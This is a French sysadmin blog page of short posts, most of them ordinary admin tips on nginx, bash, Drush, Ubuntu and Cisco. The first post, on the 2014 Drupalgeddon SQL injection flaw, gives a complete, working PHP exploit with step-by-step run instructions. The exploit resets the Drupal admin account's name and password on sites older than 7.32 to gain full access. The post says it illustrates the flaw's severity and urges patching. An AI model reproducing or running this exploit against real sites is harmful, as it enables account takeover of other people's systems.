Drupalgeddon : pourquoi vous devriez mettre à jour vos sites Drupal au plus vite.

0

Posted by florian | Posted in Drupal | Posted on 17-10-2014

Étiquettes : , , ,

Les drupaliens invétérés le savent bien depuis ce mercredi 15 octobre : une faille de sécurité hautement critique, de type injection SQL et répondant au doux nom de SA-CORE-2014-005, vient d’être rendue publique.

Cette fois-ci, c’est du sérieux. Jugez plutôt avec cet exploit trouvé sans trop chercher

Disclaimer : les informations qui suivent n’ont vocation qu’à illustrer le caractère critique de la faille de sécurité rapportée et n’engagent en aucun cas ma responsabilité.

Etape 1 : créer un fichier exploit.php avec le contenu suivant en modifiant au passage l’URL cible du site Drupal < 7.32 (dont vous êtes propriétaire, cela va sans dire) :

<?php

$url = 'http://www.mon-site.com'; // URL du site cible
$post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";

$params = array(
'http' => array(
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
'content' => $post_data
)
);
$ctx = stream_context_create($params);
$data = file_get_contents($url . '?q=node&destination=node', null, $ctx);

if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) {
echo "Ca a marché ! Tu peux t'authentifier avec l'utilisateur \"admin\" et le mot de passe \"admin\" sur {$url}user/login";
} else {
echo "Ca n'a pas marché : soit le site n'est pas vulnérable soit il n'a pu être chargé (problème de connexion Internet ?)...";
}

 

Etape 2 : exécuter le script

php exploit.php

 

Etape 3 : si le site est vulnérable, vous pouvez à présent vous authentifier sur http://www.mon-site.com/user/login avec le compte « admin », avec le mot de passe « admin ». Quelque peu flippant, n’est-ce pas ?..

 

Allez, qu’est-ce que tu attends ? File vite mettre à jour tes sites Drupal !..

Augmente tes inodes !

0

Posted by Florian | Posted in Geekisme, Logiciels Libres, Sysadmin | Posted on 17-10-2013

Étiquettes : , , , ,

Des services se plaignent dans ton syslog d’un espace disque insuffisant, au hasard parce que tu as voulu faire le malin en déplaçant dans un ramdisk un dossier soumis à un nombre élevé d’IOPS (ce qui peut rester très malin)…

Oct 17 12:00:00 mail postfix/cleanup[12345]: warning: mail_queue_enter: create file incoming/12345.67890: No space left on device

… pourtant un df -h t’annonce que tu es large niveau espace disque.
Tu as envie de dire : WTF ?! Je comprends.

root@home:~#df -h /chemin
Sys. de fich. Tail. Occ. Disp. %Occ. Monté sur
tmpfs 2048000 1167088 880912 57% /chemin

Keep cool.
Lire la suite »

Nginx derrière un reverse proxy (Varnish, etc.) : voir les vraies IP

0

Posted by florian | Posted in Sysadmin | Posted on 18-06-2012

Étiquettes : , , ,

Tu aimes la vitesse et fais donc profiter ton Nginx d’un chouette reverse proxy du genre (au hasard) Varnish.
Seulement voilà, tu observes quelques problèmes de sessions au niveau applicatif (PHP ou autre) et puis les logs remontent désespérement toujours la même adresse IP : celle de ton reverse proxy Varnish.

Avec l’été qui tarde à venir, accepte donc ce petit rayon de soleil : tu as juste à ajouter ça dans ta conf’ Nginx, du genre dans un fichier /etc/nginx/conf.d/real_ip.conf tout bien propre :

# Liste des IP de tes reverse proxies, par exemple
set_real_ip_from 192.168.0.0/24;
set_real_ip_from 192.168.0.123;

# Le header HTTP qui contient la vraie IP, généralement "X-Forwarded-For" sur la plupart des confs par défaut des reverse proxies
real_ip_header X-Forwarded-For;

Un petit « service nginx configtest » pour s’assurer que tout baigne, un petit « service nginx reload » et Ô magie du module Real IP de Nginx : ton serveur web voit à présent la vraie IP des clients qui se connectent !

En cas de problème, peu probable puisque la plupart des packages Nginx sous Debian et Ubuntu sont compilés avec le support de Real IP, il faudra songer à recompiler ton Nginx avec le support du module (directive –with-http_realip_module).

Pour aller plus loin :
Wiki de Nginx : module Real IP

Tester l’existence d’un exécutable en Bash

0

Posted by florian | Posted in Sysadmin | Posted on 06-09-2011

Étiquettes : , , ,

Si tu es l’auteur d’un script Bash magique et que tu veux t’assurer de l’existence de programmes exécutables constituant des pré-requis à sa bonne exécution, alors voilà la bonne façon de le faire :

$ hash foo 2>&- || { echo >&2 "Veuillez installer le programme foo."; exit 1; }

Jusqu’à présent j’utilisais « which » ou d’autres méthodes plus sales moins jolies mais 3 raisons au moins justifient de recourir à hash :

  • which est un programme externe alors que hash est une fonction interne de Bash
  • De nombreux OS fournissent le programme « which » mais celui-ci ne retourne pas de code de sortie, ce qui fait qu’un « if which foo >/dev/null » sera toujours vérifié, même si le programme foo n’existe pas.
  • De nombreux OS font faire diverses à choses à which, comme changer la sortie standard…

Bref, j’ai changé mes habitudes et te conseille de faire de même : à bat which, vive hash !

Source : Stackoverflow

Nginx + PHP-FPM : installer les dernières versions sur Ubuntu

2

Posted by florian | Posted in Geekisme, Logiciels Libres, Sysadmin | Posted on 19-06-2011

Étiquettes : , , ,

Ami internaute, si ton serveur est sous Ubuntu et que :
– soit on se moque de la version de ton Nginx ou de ton PHP-FPM
– soit tu es complexé par la version vieillissante de ton Nginx
– soit tu es complexé par les cheveux blancs de ton PHP-FPM
– soit un peu tout ça à la fois

Alors tu es au bon endroit : voilà comment tu vas pouvoir garder tes Nginx et PHP-FPM « up-to-date » avec un minimum d’efforts, cela va sans dire…

Voici comment faire, en 3 étapes seulement !
Lire la suite »

Android : messages par ordre non-chronologique dans Google Talk

1

Posted by florian | Posted in Geekisme | Posted on 12-01-2011

Étiquettes : , ,

Google Talk c’est génial, mais sur Android, un bug prégnant nous pourrit l’existence, c’est en tout cas mon cas depuis que je suis passé sur Galaxy S (Android 2.1 comme 2.2 « Froyo ») : les messages de mes correspondants ne sont pas listés par ordre chronologique, comme tout logiciel de messagerie, mais groupés par correspondant !
Si bien qu’à partir de 3 ou 4 lignes de conversation déjà, il faut remonter pour voir la conversation du correspondant…
Lire la suite »

Installer Drupal 7 en ligne de commande avec Drush

0

Posted by florian | Posted in Drupal | Posted on 20-10-2010

Étiquettes : , ,

Dans la vie d’un drupaler, la découverte de Drush s’apparente à la découverte du couteau par un néandertalien : bien des choses deviennent alors plus simples.

Parmi ces choses, on trouve la possibilité d’installer simplement un projet Drupal 7.
Lire la suite »

Réplication de port sur Cisco 3550

0

Posted by florian | Posted in Geekisme | Posted on 30-06-2010

Étiquettes : , , , , ,

Certains personnes sont pas très sympas : elles vous embêtent alors même que vous leur fournissez un service gratuit

C’est dans ce contexte que j’ai dû mettre en place une réplication de port ou port mirroring ou encore span port (jargon Cisco) sur un Cisco 3550, afin de visualiser le trafic à destination du serveur « attaqué » sur un autre serveur.

Lire la suite »

Récupérer le nom de la distribution Linux installée

0

Posted by florian | Posted in Geekisme | Posted on 10-06-2010

Étiquettes : , , ,

Pour toi public cher geek, voici une commande shell fort pratique, en particulier si tu dois réaliser l’inventaire de ton parc de machines et/ou les mettre à jour :

lsb_release -a

Voilà ce que ça donne sur une Ubuntu 10.04 :


LSB Version: core-2.0-ia32:core-2.0-noarch:core-3.0-ia32:core-3.0-noarch:core-3.1-ia32:core-3.1-noarch:core-3.2-ia32:core-3.2-noarch:core-4.0-ia32:core-4.0-noarch
Distributor ID: Ubuntu
Description: Ubuntu 10.04 LTS
Release: 10.04
Codename: lucid

Pour avoir juste le nom de la distrib : lsb_release -i

Pour avoir juste la version de la distrib : lsb_release -r

Downgrader PHP de 5.3.2 à 5.2.10 sur Ubuntu 10.04 « Lucid » LTS

5

Posted by florian | Posted in Logiciels Libres | Posted on 10-06-2010

Étiquettes : , , , , ,

Alors oui, Ubuntu est récemment sortie dans sa version 10.04 LTS, c’est super, on a tous sautillé de joie.

Problème : quand on est un drupaler de la première heure et qu’on maintient encore des sites sous Drupal 5 (pas toujours possible d’upgrader en 6 stable), on risque de cumuler les infortunes avec la version 5.3 de PHP que cette nouvelle mouture de notre distrib préférée nous apporte.

En pareil cas, la seule solution qui tienne la route est malheureusement de downgrader en version 5.2…

Hep ! Ne pars pas ! Ce n’est pas si compliqué !

Lire la suite »